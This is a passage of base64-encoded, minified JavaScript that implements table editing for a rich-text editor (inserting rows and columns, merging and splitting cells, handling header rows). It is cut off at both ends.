ldENoaWxkKDApO2NvbnN0IGQ9Yy5jaGlsZENvdW50PT09MSYmbC5uYW1lPT09InBhcmFncmFwaCI7aS53cml0ZXIuaW5zZXJ0KG4sYSk7aS5tYXBwZXIuYmluZEVsZW1lbnRzKGMsYSk7aWYoIXImJiFaSShsKSYmZCl7Y29uc3QgdD1jLmdldENoaWxkKDApO2kuY29uc3VtYWJsZS5jb25zdW1lKHQsImluc2VydCIpO2kubWFwcGVyLmJpbmRFbGVtZW50cyh0LGEpfX1mdW5jdGlvbiBHSSh0LGUsbixpLG8pe28uY29uc3VtYWJsZS5jb25zdW1lKGUsImluc2VydCIpO2NvbnN0IHI9ZS5pc0VtcHR5P28ud3JpdGVyLmNyZWF0ZUVtcHR5RWxlbWVudCgidHIiKTpvLndyaXRlci5jcmVhdGVDb250YWluZXJFbGVtZW50KCJ0ciIpO28ubWFwcGVyLmJpbmRFbGVtZW50cyhlLHIpO2NvbnN0IHM9aS5oZWFkaW5nUm93cztjb25zdCBhPXFJKEtJKG4saSksdCxvKTtjb25zdCBjPXM+MCYmbj49cz9uLXM6bjtjb25zdCBsPW8ud3JpdGVyLmNyZWF0ZVBvc2l0aW9uQXQoYSxjKTtvLndyaXRlci5pbnNlcnQobCxyKTtyZXR1cm4gcn1mdW5jdGlvbiBXSSh0LGUpe2NvbnN0e3JvdzpuLGNvbHVtbjppfT10O2NvbnN0e2hlYWRpbmdDb2x1bW5zOm8saGVhZGluZ1Jvd3M6cn09ZTtjb25zdCBzPXImJnI+bjtpZihzKXtyZXR1cm4idGgifWNvbnN0IGE9byYmbz5pO3JldHVybiBhPyJ0aCI6InRkIn1mdW5jdGlvbiBLSSh0LGUpe3JldHVybiB0PGUuaGVhZGluZ1Jvd3M/InRoZWFkIjoidGJvZHkifWZ1bmN0aW9uIHFJKHQsZSxuKXtjb25zdCBpPVlJKHQsZSk7cmV0dXJuIGk/aTpRSSh0LGUsbil9ZnVuY3Rpb24gWUkodCxlKXtmb3IoY29uc3QgbiBvZiBlLmdldENoaWxkcmVuKCkpe2lmKG4ubmFtZT09dCl7cmV0dXJuIG59fX1mdW5jdGlvbiBRSSh0LGUsbil7Y29uc3QgaT1uLndyaXRlci5jcmVhdGVDb250YWluZXJFbGVtZW50KHQpO2NvbnN0IG89bi53cml0ZXIuY3JlYXRlUG9zaXRpb25BdChlLHQ9PSJ0Ym9keSI/ImVuZCI6MCk7bi53cml0ZXIuaW5zZXJ0KG8saSk7cmV0dXJuIGl9ZnVuY3Rpb24gJEkodCxlLG4pe2NvbnN0IGk9WUkodCxlKTtpZihpJiZpLmNoaWxkQ291bnQ9PT0wKXtuLndyaXRlci5yZW1vdmUobi53cml0ZXIuY3JlYXRlUmFuZ2VPbihpKSl9fWZ1bmN0aW9uIEpJKHQpe2Zvcihjb25zdCBlIG9mIHQuZ2V0Q2hpbGRyZW4oKSl7aWYoZS5uYW1lPT09InRhYmxlIil7cmV0dXJuIGV9fX1mdW5jdGlvbiBaSSh0KXtyZXR1cm4hIVsuLi50LmdldEF0dHJpYnV0ZUtleXMoKV0ubGVuZ3RofWNsYXNzIFhJIGV4dGVuZHMgb0N7cmVmcmVzaCgpe2NvbnN0IHQ9dGhpcy5lZGl0b3IubW9kZWw7Y29uc3QgZT10LmRvY3VtZW50LnNlbGVjdGlvbjtjb25zdCBuPXQuc2NoZW1hO2NvbnN0IGk9dE4oZS5nZXRGaXJzdFBvc2l0aW9uKCkpO3RoaXMuaXNFbmFibGVkPW4uY2hlY2tDaGlsZChpLCJ0YWJsZSIpfWV4ZWN1dGUodD17fSl7Y29uc3QgZT10aGlzLmVkaXRvci5tb2RlbDtjb25zdCBuPWUuZG9jdW1lbnQuc2VsZWN0aW9uO2NvbnN0IGk9dGhpcy5lZGl0b3IucGx1Z2lucy5nZXQoIlRhYmxlVXRpbHMiKTtjb25zdCBvPXJ2KG4sZSk7ZS5jaGFuZ2UoKG49Pntjb25zdCByPWkuY3JlYXRlVGFibGUobix0KTtlLmluc2VydENvbnRlbnQocixvKTtuLnNldFNlbGVjdGlvbihuLmNyZWF0ZVBvc2l0aW9uQXQoci5nZXROb2RlQnlQYXRoKFswLDAsMF0pLDApKX0pKX19ZnVuY3Rpb24gdE4odCl7Y29uc3QgZT10LnBhcmVudDtyZXR1cm4gZT09PWUucm9vdD9lOmUucGFyZW50fWZ1bmN0aW9uIGVOKHQpe2NvbnN0IGU9W107Zm9yKGNvbnN0IG4gb2YgYU4odC5nZXRSYW5nZXMoKSkpe2NvbnN0IHQ9bi5nZXRDb250YWluZWRFbGVtZW50KCk7aWYodCYmdC5pcygiZWxlbWVudCIsInRhYmxlQ2VsbCIpKXtlLnB1c2godCl9fXJldHVybiBlfWZ1bmN0aW9uIG5OKHQpe2NvbnN0IGU9W107Zm9yKGNvbnN0IG4gb2YgdC5nZXRSYW5nZXMoKSl7Y29uc3QgdD1uLnN0YXJ0LmZpbmRBbmNlc3RvcigidGFibGVDZWxsIik7aWYodCl7ZS5wdXNoKHQpfX1yZXR1cm4gZX1mdW5jdGlvbiBpTih0KXtjb25zdCBlPWVOKHQpO2lmKGUubGVuZ3RoKXtyZXR1cm4gZX1yZXR1cm4gbk4odCl9ZnVuY3Rpb24gb04odCl7Y29uc3QgZT10Lm1hcCgodD0+dC5wYXJlbnQuaW5kZXgpKTtyZXR1cm4gY04oZSl9ZnVuY3Rpb24gck4odCl7Y29uc3QgZT10WzBdLmZpbmRBbmNlc3RvcigidGFibGUiKTtjb25zdCBuPVsuLi5uZXcgSUkoZSldO2NvbnN0IGk9bi5maWx0ZXIoKGU9PnQuaW5jbHVkZXMoZS5jZWxsKSkpLm1hcCgodD0+dC5jb2x1bW4pKTtyZXR1cm4gY04oaSl9ZnVuY3Rpb24gc04odCxlKXtpZih0Lmxlbmd0aDwyfHwhdU4odCkpe3JldHVybiBmYWxzZX1jb25zdCBuPW5ldyBTZXQ7Y29uc3QgaT1uZXcgU2V0O2xldCBvPTA7Zm9yKGNvbnN0IHIgb2YgdCl7Y29uc3R7cm93OnQsY29sdW1uOnN9PWUuZ2V0Q2VsbExvY2F0aW9uKHIpO2NvbnN0IGE9cGFyc2VJbnQoci5nZXRBdHRyaWJ1dGUoInJvd3NwYW4iKXx8MSk7Y29uc3QgYz1wYXJzZUludChyLmdldEF0dHJpYnV0ZSgiY29sc3BhbiIpfHwxKTtuLmFkZCh0KTtpLmFkZChzKTtpZihhPjEpe24uYWRkKHQrYS0xKX1pZihjPjEpe2kuYWRkKHMrYy0xKX1vKz1hKmN9Y29uc3Qgcj1kTihuLGkpO3JldHVybiByPT1vfWZ1bmN0aW9uIGFOKHQpe3JldHVybiBBcnJheS5mcm9tKHQpLnNvcnQobE4pfWZ1bmN0aW9uIGNOKHQpe2NvbnN0IGU9dC5zb3J0KCgodCxlKT0+dC1lKSk7Y29uc3Qgbj1lWzBdO2NvbnN0IGk9ZVtlLmxlbmd0aC0xXTtyZXR1cm57Zmlyc3Q6bixsYXN0Oml9fWZ1bmN0aW9uIGxOKHQsZSl7Y29uc3Qgbj10LnN0YXJ0O2NvbnN0IGk9ZS5zdGFydDtyZXR1cm4gbi5pc0JlZm9yZShpKT8tMToxfWZ1bmN0aW9uIGROKHQsZSl7Y29uc3Qgbj1BcnJheS5mcm9tKHQudmFsdWVzKCkpO2NvbnN0IGk9QXJyYXkuZnJvbShlLnZhbHVlcygpKTtjb25zdCBvPU1hdGgubWF4KC4uLm4pO2NvbnN0IHI9TWF0aC5taW4oLi4ubik7Y29uc3Qgcz1NYXRoLm1heCguLi5pKTtjb25zdCBhPU1hdGgubWluKC4uLmkpO3JldHVybihvLXIrMSkqKHMtYSsxKX1mdW5jdGlvbiB1Tih0KXtjb25zdCBlPXRbMF0uZmluZEFuY2VzdG9yKCJ0YWJsZSIpO2NvbnN0IG49b04odCk7Y29uc3QgaT1wYXJzZUludChlLmdldEF0dHJpYnV0ZSgiaGVhZGluZ1Jvd3MiKXx8MCk7aWYoIWhOKG4saSkpe3JldHVybiBmYWxzZX1jb25zdCBvPXBhcnNlSW50KGUuZ2V0QXR0cmlidXRlKCJoZWFkaW5nQ29sdW1ucyIpfHwwKTtjb25zdCByPXJOKHQpO3JldHVybiBoTihyLG8pfWZ1bmN0aW9uIGhOKHtmaXJzdDp0LGxhc3Q6ZX0sbil7Y29uc3QgaT10PG47Y29uc3Qgbz1lPG47cmV0dXJuIGk9PT1vfWNsYXNzIGZOIGV4dGVuZHMgb0N7Y29uc3RydWN0b3IodCxlPXt9KXtzdXBlcih0KTt0aGlzLm9yZGVyPWUub3JkZXJ8fCJiZWxvdyJ9cmVmcmVzaCgpe2NvbnN0IHQ9dGhpcy5lZGl0b3IubW9kZWwuZG9jdW1lbnQuc2VsZWN0aW9uO2NvbnN0IGU9dC5nZXRGaXJzdFBvc2l0aW9uKCkuZmluZEFuY2VzdG9yKCJ0YWJsZSIpO3RoaXMuaXNFbmFibGVkPSEhZX1leGVjdXRlKCl7Y29uc3QgdD10aGlzLmVkaXRvcjtjb25zdCBlPXQubW9kZWwuZG9jdW1lbnQuc2VsZWN0aW9uO2NvbnN0IG49dC5wbHVnaW5zLmdldCgiVGFibGVVdGlscyIpO2NvbnN0IGk9dGhpcy5vcmRlcj09PSJhYm92ZSI7Y29uc3Qgbz1pTihlKTtjb25zdCByPW9OKG8pO2NvbnN0IHM9aT9yLmZpcnN0OnIubGFzdDtjb25zdCBhPW9bMF0uZmluZEFuY2VzdG9yKCJ0YWJsZSIpO24uaW5zZXJ0Um93cyhhLHthdDppP3M6cysxLGNvcHlTdHJ1Y3R1cmVGcm9tQWJvdmU6IWl9KX19Y2xhc3MgbU4gZXh0ZW5kcyBvQ3tjb25zdHJ1Y3Rvcih0LGU9e30pe3N1cGVyKHQpO3RoaXMub3JkZXI9ZS5vcmRlcnx8InJpZ2h0In1yZWZyZXNoKCl7Y29uc3QgdD10aGlzLmVkaXRvci5tb2RlbC5kb2N1bWVudC5zZWxlY3Rpb247Y29uc3QgZT10LmdldEZpcnN0UG9zaXRpb24oKS5maW5kQW5jZXN0b3IoInRhYmxlIik7dGhpcy5pc0VuYWJsZWQ9ISFlfWV4ZWN1dGUoKXtjb25zdCB0PXRoaXMuZWRpdG9yO2NvbnN0IGU9dC5tb2RlbC5kb2N1bWVudC5zZWxlY3Rpb247Y29uc3Qgbj10LnBsdWdpbnMuZ2V0KCJUYWJsZVV0aWxzIik7Y29uc3QgaT10aGlzLm9yZGVyPT09ImxlZnQiO2NvbnN0IG89aU4oZSk7Y29uc3Qgcj1yTihvKTtjb25zdCBzPWk/ci5maXJzdDpyLmxhc3Q7Y29uc3QgYT1vWzBdLmZpbmRBbmNlc3RvcigidGFibGUiKTtuLmluc2VydENvbHVtbnMoYSx7Y29sdW1uczoxLGF0Omk/czpzKzF9KX19Y2xhc3MgZ04gZXh0ZW5kcyBvQ3tjb25zdHJ1Y3Rvcih0LGU9e30pe3N1cGVyKHQpO3RoaXMuZGlyZWN0aW9uPWUuZGlyZWN0aW9ufHwiaG9yaXpvbnRhbGx5In1yZWZyZXNoKCl7Y29uc3QgdD1pTih0aGlzLmVkaXRvci5tb2RlbC5kb2N1bWVudC5zZWxlY3Rpb24pO3RoaXMuaXNFbmFibGVkPXQubGVuZ3RoPT09MX1leGVjdXRlKCl7Y29uc3QgdD1pTih0aGlzLmVkaXRvci5tb2RlbC5kb2N1bWVudC5zZWxlY3Rpb24pWzBdO2NvbnN0IGU9dGhpcy5kaXJlY3Rpb249PT0iaG9yaXpvbnRhbGx5Ijtjb25zdCBuPXRoaXMuZWRpdG9yLnBsdWdpbnMuZ2V0KCJUYWJsZVV0aWxzIik7aWYoZSl7bi5zcGxpdENlbGxIb3Jpem9udGFsbHkodCwyKX1lbHNle24uc3BsaXRDZWxsVmVydGljYWxseSh0LDIpfX19ZnVuY3Rpb24gcE4odCxlLG4pe2NvbnN0e3N0YXJ0Um93Omksc3RhcnRDb2x1bW46byxlbmRSb3c6cixlbmRDb2x1bW46c309ZTtjb25zdCBhPW4uY3JlYXRlRWxlbWVudCgidGFibGUiKTtjb25zdCBjPXItaSsxO2ZvcihsZXQgdD0wO3Q8Yzt0Kyspe24uaW5zZXJ0RWxlbWVudCgidGFibGVSb3ciLGEsImVuZCIpfWNvbnN0IGw9Wy4uLm5ldyBJSSh0LHtzdGFydFJvdzppLGVuZFJvdzpyLHN0YXJ0Q29sdW1uOm8sZW5kQ29sdW1uOnMsaW5jbHVkZUFsbFNsb3RzOnRydWV9KV07Zm9yKGNvbnN0e3Jvdzp0LGNvbHVtbjplLGNlbGw6Yyxpc0FuY2hvcjpkLGNlbGxBbmNob3JSb3c6dSxjZWxsQW5jaG9yQ29sdW1uOmh9b2YgbCl7Y29uc3QgbD10LWk7Y29uc3QgZj1hLmdldENoaWxkKGwpO2lmKCFkKXtpZih1PGl8fGg8byl7eEkobixuLmNyZWF0ZVBvc2l0aW9uQXQoZiwiZW5kIikpfX1lbHNle2NvbnN0IGk9bi5jbG9uZUVsZW1lbnQoYyk7bi5hcHBlbmQoaSxmKTtBTihpLHQsZSxyLHMsbil9fV9OKGEsdCxpLG8sbik7cmV0dXJuIGF9ZnVuY3Rpb24ga04odCxlLG49MCl7Y29uc3QgaT1bXTtjb25zdCBvPW5ldyBJSSh0LHtzdGFydFJvdzpuLGVuZFJvdzplLTF9KTtmb3IoY29uc3QgdCBvZiBvKXtjb25zdHtyb3c6bixjZWxsSGVpZ2h0Om99PXQ7Y29uc3Qgcj1uK28tMTtpZihuPGUmJmU8PXIpe2kucHVzaCh0KX19cmV0dXJuIGl9ZnVuY3Rpb24gYk4odCxlLG4pe2NvbnN0IGk9dC5wYXJlbnQ7Y29uc3Qgbz1pLnBhcmVudDtjb25zdCByPWkuaW5kZXg7Y29uc3Qgcz1wYXJzZUludCh0LmdldEF0dHJpYnV0ZSgicm93c3BhbiIpKTtjb25zdCBhPWUtcjtjb25zdCBjPXt9O2NvbnN0IGw9cy1hO2lmKGw+MSl7Yy5yb3dzcGFuPWx9Y29uc3QgZD1wYXJzZUludCh0LmdldEF0dHJpYnV0ZSgiY29sc3BhbiIpfHwxKTtpZihkPjEpe2MuY29sc3Bhbj1kfWNvbnN0IHU9cjtjb25zdCBoPXUrYTtjb25zdCBmPVsuLi5uZXcgSUkobyx7c3RhcnRSb3c6dSxlbmRSb3c6aCxpbmNsdWRlQWxsU2xvdHM6dHJ1ZX0pXTtsZXQgbT1udWxsO2xldCBnO2Zvcihjb25zdCBlIG9mIGYpe2NvbnN0e3JvdzppLGNvbHVtbjpvLGNlbGw6cn09ZTtpZihyPT09dCYmZz09PXVuZGVmaW5lZCl7Zz1vfWlmKGchPT11bmRlZmluZWQmJmc9PT1vJiZpPT09aCl7bT14SShuLGUuZ2V0UG9zaXRpb25CZWZvcmUoKSxjKX19eUkoInJvd3NwYW4iLGEsdCxuKTtyZXR1cm4gbX1mdW5jdGlvbiB3Tih0LGUpe2NvbnN0IG49W107Y29uc3QgaT1uZXcgSUkodCk7Zm9yKGNvbnN0IHQgb2YgaSl7Y29uc3R7Y29sdW1uOmksY2VsbFdpZHRoOm99PXQ7Y29uc3Qgcj1pK28tMTtpZihpPGUmJmU8PXIpe24ucHVzaCh0KX19cmV0dXJuIG59ZnVuY3Rpb24gQ04odCxlLG4saSl7Y29uc3Qgbz1wYXJzZUludCh0LmdldEF0dHJpYnV0ZSgiY29sc3BhbiIpKTtjb25zdCByPW4tZTtjb25zdCBzPXt9O2NvbnN0IGE9by1yO2lmKGE+MSl7cy5jb2xzcGFuPWF9Y29uc3QgYz1wYXJzZUludCh0LmdldEF0dHJpYnV0ZSgicm93c3BhbiIpfHwxKTtpZihjPjEpe3Mucm93c3Bhbj1jfWNvbnN0IGw9eEkoaSxpLmNyZWF0ZVBvc2l0aW9uQWZ0ZXIodCkscyk7eUkoImNvbHNwYW4iLHIsdCxpKTtyZXR1cm4gbH1mdW5jdGlvbiBBTih0LGUsbixpLG8scil7Y29uc3Qgcz1wYXJzZUludCh0LmdldEF0dHJpYnV0ZSgiY29sc3BhbiIpfHwxKTtjb25zdCBhPXBhcnNlSW50KHQuZ2V0QXR0cmlidXRlKCJyb3dzcGFuIil8fDEpO2NvbnN0IGM9bitzLTE7aWYoYz5vKXtjb25zdCBlPW8tbisxO3lJKCJjb2xzcGFuIixlLHQsciwxKX1jb25zdCBsPWUrYS0xO2lmKGw+aSl7Y29uc3Qgbj1pLWUrMTt5SSgicm93c3BhbiIsbix0LHIsMSl9fWZ1bmN0aW9uIF9OKHQsZSxuLGksbyl7Y29uc3Qgcj1wYXJzZUludChlLmdldEF0dHJpYnV0ZSgiaGVhZGluZ1Jvd3MiKXx8MCk7aWYocj4wKXtjb25zdCBlPXItbjt5SSgiaGVhZGluZ1Jvd3MiLGUsdCxvLDApfWNvbnN0IHM9cGFyc2VJbnQoZS5nZXRBdHRyaWJ1dGUoImhlYWRpbmdDb2x1bW5zIil8fDApO2lmKHM+MCl7Y29uc3QgZT1zLWk7eUkoImhlYWRpbmdDb2x1bW5zIixlLHQsbywwKX19ZnVuY3Rpb24gdk4odCxlKXtjb25zdCBuPWUuZ2V0Q29sdW1ucyh0KTtjb25zdCBpPW5ldyBBcnJheShuKS5maWxsKDApO2Zvcihjb25zdHtjb2x1bW46ZX1vZiBuZXcgSUkodCkpe2lbZV0rK31jb25zdCBvPWkucmVkdWNlKCgodCxlLG4pPT5lP3Q6Wy4uLnQsbl0pLFtdKTtpZihvLmxlbmd0aD4wKXtjb25zdCBuPW9bby5sZW5ndGgtMV07ZS5yZW1vdmVDb2x1bW5zKHQse2F0Om59KTtyZXR1cm4gdHJ1ZX1yZXR1cm4gZmFsc2V9ZnVuY3Rpb24geU4odCxlKXtjb25zdCBuPVtdO2ZvcihsZXQgZT0wO2U8dC5jaGlsZENvdW50O2UrKyl7Y29uc3QgaT10LmdldENoaWxkKGUpO2lmKGkuaXNFbXB0eSl7bi5wdXNoKGUpfX1pZihuLmxlbmd0aD4wKXtjb25zdCBpPW5bbi5sZW5ndGgtMV07ZS5yZW1vdmVSb3dzKHQse2F0Oml9KTtyZXR1cm4gdHJ1ZX1yZXR1cm4gZmFsc2V9ZnVuY3Rpb24geE4odCxlKXtjb25zdCBuPXZOKHQsZSk7aWYoIW4pe3lOKHQsZSl9fWZ1bmN0aW9uIEROKHQsZSl7Y29uc3Qgbj1BcnJheS5mcm9tKG5ldyBJSSh0LHtzdGFydENvbHVtbjplLmZpcnN0Q29sdW1uLGVuZENvbHVtbjplLmxhc3RDb2x1bW4scm93OmUubGFzdFJvd30pKTtjb25zdCBpPW4uZXZlcnkoKCh7Y2VsbEhlaWdodDp0fSk9PnQ9PT0xKSk7aWYoaSl7cmV0dXJuIGUubGFzdFJvd31jb25zdCBvPW5bMF0uY2VsbEhlaWdodC0xO3JldHVybiBlLmxhc3RSb3crb31mdW5jdGlvbiBFTih0LGUpe2NvbnN0IG49QXJyYXkuZnJvbShuZXcgSUkodCx7c3RhcnRSb3c6ZS5maXJzdFJvdyxlbmRSb3c6ZS5sYXN0Um93LGNvbHVtbjplLmxhc3RDb2x1bW59KSk7Y29uc3QgaT1uLmV2ZXJ5KCgoe2NlbGxXaWR0aDp0fSk9PnQ9PT0xKSk7aWYoaSl7cmV0dXJuIGUubGFzdENvbHVtbn1jb25zdCBvPW5bMF0uY2VsbFdpZHRoLTE7cmV0dXJuIGUubGFzdENvbHVtbitvfWNsYXNzIE1OIGV4dGVuZHMgb0N7Y29uc3RydWN0b3IodCxlKXtzdXBlcih0KTt0aGlzLmRpcmVjdGlvbj1lLmRpcmVjdGlvbjt0aGlzLmlzSG9yaXpvbnRhbD10aGlzLmRpcmVjdGlvbj09InJpZ2h0Inx8dGhpcy5kaXJlY3Rpb249PSJsZWZ0In1yZWZyZXNoKCl7Y29uc3QgdD10aGlzLl9nZXRNZXJnZWFibGVDZWxsKCk7dGhpcy52YWx1ZT10O3RoaXMuaXNFbmFibGVkPSEhdH1leGVjdXRlKCl7Y29uc3QgdD10aGlzLmVkaXRvci5tb2RlbDtjb25zdCBlPXQuZG9jdW1lbnQ7Y29uc3Qgbj1uTihlLnNlbGVjdGlvbilbMF07Y29uc3QgaT10aGlzLnZhbHVlO2NvbnN0IG89dGhpcy5kaXJlY3Rpb247dC5jaGFuZ2UoKHQ9Pntjb25zdCBlPW89PSJyaWdodCJ8fG89PSJkb3duIjtjb25zdCByPWU/bjppO2NvbnN0IHM9ZT9pOm47Y29uc3QgYT1zLnBhcmVudDtJTihzLHIsdCk7Y29uc3QgYz10aGlzLmlzSG9yaXpvbnRhbD8iY29sc3BhbiI6InJvd3NwYW4iO2NvbnN0IGw9cGFyc2VJbnQobi5nZXRBdHRyaWJ1dGUoYyl8fDEpO2NvbnN0IGQ9cGFyc2VJbnQoaS5nZXRBdHRyaWJ1dGUoYyl8fDEpO3Quc2V0QXR0cmlidXRlKGMsbCtkLHIpO3Quc2V0U2VsZWN0aW9uKHQuY3JlYXRlUmFuZ2VJbihyKSk7Y29uc3QgdT10aGlzLmVkaXRvci5wbHVnaW5zLmdldCgiVGFibGVVdGlscyIpO2NvbnN0IGg9YS5maW5kQW5jZXN0b3IoInRhYmxlIik7eE4oaCx1KX0pKX1fZ2V0TWVyZ2VhYmxlQ2VsbCgpe2NvbnN0IHQ9dGhpcy5lZGl0b3IubW9kZWw7Y29uc3QgZT10LmRvY3VtZW50O2NvbnN0IG49bk4oZS5zZWxlY3Rpb24pWzBdO2lmKCFuKXtyZXR1cm59Y29uc3QgaT10aGlzLmVkaXRvci5wbHVnaW5zLmdldCgiVGFibGVVdGlscyIpO2NvbnN0IG89dGhpcy5pc0hvcml6b250YWw/U04obix0aGlzLmRpcmVjdGlvbixpKTpUTihuLHRoaXMuZGlyZWN0aW9uKTtpZighbyl7cmV0dXJufWNvbnN0IHI9dGhpcy5pc0hvcml6b250YWw/InJvd3NwYW4iOiJjb2xzcGFuIjtjb25zdCBzPXBhcnNlSW50KG4uZ2V0QXR0cmlidXRlKHIpfHwxKTtjb25zdCBhPXBhcnNlSW50KG8uZ2V0QXR0cmlidXRlKHIpfHwxKTtpZihhPT09cyl7cmV0dXJuIG99fX1mdW5jdGlvbiBTTih0LGUsbil7Y29uc3QgaT10LnBhcmVudDtjb25zdCBvPWkucGFyZW50O2NvbnN0IHI9ZT09InJpZ2h0Ij90Lm5leHRTaWJsaW5nOnQucHJldmlvdXNTaWJsaW5nO2NvbnN0IHM9KG8uZ2V0QXR0cmlidXRlKCJoZWFkaW5nQ29sdW1ucyIpfHwwKT4wO2lmKCFyKXtyZXR1cm59Y29uc3QgYT1lPT0icmlnaHQiP3Q6cjtjb25zdCBjPWU9PSJyaWdodCI/cjp0O2NvbnN0e2NvbHVtbjpsfT1uLmdldENlbGxMb2NhdGlvbihhKTtjb25zdHtjb2x1bW46ZH09bi5nZXRDZWxsTG9jYXRpb24oYyk7Y29uc3QgdT1wYXJzZUludChhLmdldEF0dHJpYnV0ZSgiY29sc3BhbiIpfHwxKTtjb25zdCBoPURJKG4sYSxvKTtjb25zdCBmPURJKG4sYyxvKTtpZihzJiZoIT1mKXtyZXR1cm59Y29uc3QgbT1sK3U9PT1kO3JldHVybiBtP3I6dW5kZWZpbmVkfWZ1bmN0aW9uIFROKHQsZSl7Y29uc3Qgbj10LnBhcmVudDtjb25zdCBpPW4ucGFyZW50O2NvbnN0IG89aS5nZXRDaGlsZEluZGV4KG4pO2lmKGU9PSJkb3duIiYmbz09PWkuY2hpbGRDb3VudC0xfHxlPT0idXAiJiZvPT09MCl7cmV0dXJufWNvbnN0IHI9cGFyc2VJbnQodC5nZXRBdHRyaWJ1dGUoInJvd3NwYW4iKXx8MSk7Y29uc3Qgcz1pLmdldEF0dHJpYnV0ZSgiaGVhZGluZ1Jvd3MiKXx8MDtjb25zdCBhPWU9PSJkb3duIiYmbytyPT09cztjb25zdCBjPWU9PSJ1cCImJm89PT1zO2lmKHMmJihhfHxjKSl7cmV0dXJufWNvbnN0IGw9cGFyc2VJbnQodC5nZXRBdHRyaWJ1dGUoInJvd3NwYW4iKXx8MSk7Y29uc3QgZD1lPT0iZG93biI/bytsOm87Y29uc3QgdT1bLi4ubmV3IElJKGkse2VuZFJvdzpkfSldO2NvbnN0IGg9dS5maW5kKChlPT5lLmNlbGw9PT10KSk7Y29uc3QgZj1oLmNvbHVtbjtjb25zdCBtPXUuZmluZCgoKHtyb3c6dCxjZWxsSGVpZ2h0Om4sY29sdW1uOml9KT0+e2lmKGkhPT1mKXtyZXR1cm4gZmFsc2V9aWYoZT09ImRvd24iKXtyZXR1cm4gdD09PWR9ZWxzZXtyZXR1cm4gZD09PXQrbn19KSk7cmV0dXJuIG0mJm0uY2VsbH1mdW5jdGlvbiBJTih0LGUsbil7aWYoIU5OKHQpKXtpZihOTihlKSl7bi5yZW1vdmUobi5jcmVhdGVSYW5nZUluKGUpKX1uLm1vdmUobi5jcmVhdGVSYW5nZUluKHQpLG4uY3JlYXRlUG9zaXRpb25BdChlLCJlbmQiKSl9bi5yZW1vdmUodCl9ZnVuY3Rpb24gTk4odCl7cmV0dXJuIHQuY2hpbGRDb3VudD09MSYmdC5nZXRDaGlsZCgwKS5pcygiZWxlbWVudCIsInBhcmFncmFwaCIpJiZ0LmdldENoaWxkKDApLmlzRW1wdHl9Y2xhc3MgQk4gZXh0ZW5kcyBvQ3tyZWZyZXNoKCl7Y29uc3QgdD1pTih0aGlzLmVkaXRvci5tb2RlbC5kb2N1bWVudC5zZWxlY3Rpb24pO2NvbnN0IGU9dFswXTtpZihlKXtjb25zdCBuPWUuZmluZEFuY2VzdG9yKCJ0YWJsZSIpO2NvbnN0IGk9dGhpcy5lZGl0b3IucGx1Z2lucy5nZXQoIlRhYmxlVXRpbHMiKS5nZXRSb3dzKG4pO2NvbnN0IG89aS0xO2NvbnN0IHI9b04odCk7Y29uc3Qgcz1yLmZpcnN0PT09MCYmci5sYXN0PT09bzt0aGlzLmlzRW5hYmxlZD0hc31lbHNle3RoaXMuaXNFbmFibGVkPWZhbHNlfX1leGVjdXRlKCl7Y29uc3QgdD10aGlzLmVkaXRvci5tb2RlbDtjb25zdCBlPWlOKHQuZG9jdW1lbnQuc2VsZWN0aW9uKTtjb25zdCBuPW9OKGUpO2NvbnN0IGk9ZVswXTtjb25zdCBvPWkuZmluZEFuY2VzdG9yKCJ0YWJsZSIpO2NvbnN0IHI9dGhpcy5lZGl0b3IucGx1Z2lucy5nZXQoIlRhYmxlVXRpbHMiKS5nZXRDZWxsTG9jYXRpb24oaSkuY29sdW1uO3QuY2hhbmdlKCh0PT57Y29uc3QgZT1uLmxhc3Qtbi5maXJzdCsxO3RoaXMuZWRpdG9yLnBsdWdpbnMuZ2V0KCJUYWJsZVV0aWxzIikucmVtb3ZlUm93cyhvLHthdDpuLmZpcnN0LHJvd3M6ZX0pO2NvbnN0IGk9UE4obyxuLmZpcnN0LHIpO3Quc2V0U2VsZWN0aW9uKHQuY3JlYXRlUG9zaXRpb25BdChpLDApKX0pKX19ZnVuY3Rpb24gUE4odCxlLG4pe2NvbnN0IGk9dC5nZXRDaGlsZChlKXx8dC5nZXRDaGlsZCh0LmNoaWxkQ291bnQtMSk7bGV0IG89aS5nZXRDaGlsZCgwKTtsZXQgcj0wO2Zvcihjb25zdCB0IG9mIGkuZ2V0Q2hpbGRyZW4oKSl7aWYocj5uKXtyZXR1cm4gb31vPXQ7cis9cGFyc2VJbnQodC5nZXRBdHRyaWJ1dGUoImNvbHNwYW4iKXx8MSl9cmV0dXJuIG99Y2xhc3Mgek4gZXh0ZW5kcyBvQ3tyZWZyZXNoKCl7Y29uc3QgdD1pTih0aGlzLmVkaXRvci5tb2RlbC5kb2N1bWVudC5zZWxlY3Rpb24pO2NvbnN0IGU9dFswXTtpZihlKXtjb25zdCBuPWUuZmluZEFuY2VzdG9yKCJ0YWJsZSIpO2NvbnN0IGk9dGhpcy5lZGl0b3IucGx1Z2lucy5nZXQoIlRhYmxlVXRpbHMiKS5nZXRDb2x1bW5zKG4pO2NvbnN0e2ZpcnN0Om8sbGFzdDpyfT1yTih0KTt0aGlzLmlzRW5hYmxlZD1yLW88aS0xfWVsc2V7dGhpcy5pc0VuYWJsZWQ9ZmFsc2V9fWV4ZWN1dGUoKXtjb25zdFt0LGVdPU9OKHRoaXMuZWRpdG9yLm1vZGVsLmRvY3VtZW50LnNlbGVjdGlvbik7Y29uc3Qgbj10LnBhcmVudC5wYXJlbnQ7Y29uc3QgaT1bLi4ubmV3IElJKG4pXTtjb25zdCBvPXtmaXJzdDppLmZpbmQoKGU9PmUuY2VsbD09PXQpKS5jb2x1bW4sbGFzdDppLmZpbmQoKHQ9PnQuY2VsbD09PWUpKS5jb2x1bW59O2NvbnN0IHI9TE4oaSx0LGUsbyk7dGhpcy5lZGl0b3IubW9kZWwuY2hhbmdlKCh0PT57Y29uc3QgZT1vLmxhc3Qtby5maXJzdCsxO3RoaXMuZWRpdG9yLnBsdWdpbnMuZ2V0KCJUYWJsZVV0aWxzIikucmVtb3ZlQ29sdW1ucyhuLHthdDpvLmZpcnN0LGNvbHVtbnM6ZX0pO3Quc2V0U2VsZWN0aW9uKHQuY3JlYXRlUG9zaXRpb25BdChyLDApKX0pKX19ZnVuY3Rpb24gTE4odCxlLG4saSl7Y29uc3Qgbz1wYXJzZUludChuLmdldEF0dHJpYnV0ZSgiY29sc3BhbiIpfHwxKTtpZihvPjEpe3JldHVybiBufWVsc2UgaWYoZS5wcmV2aW91c1NpYmxpbmd8fG4ubmV4dFNpYmxpbmcpe3JldHVybiBuLm5leHRTaWJsaW5nfHxlLnByZXZpb3VzU2libGluZ31lbHNle2lmKGkuZmlyc3Qpe3JldHVybi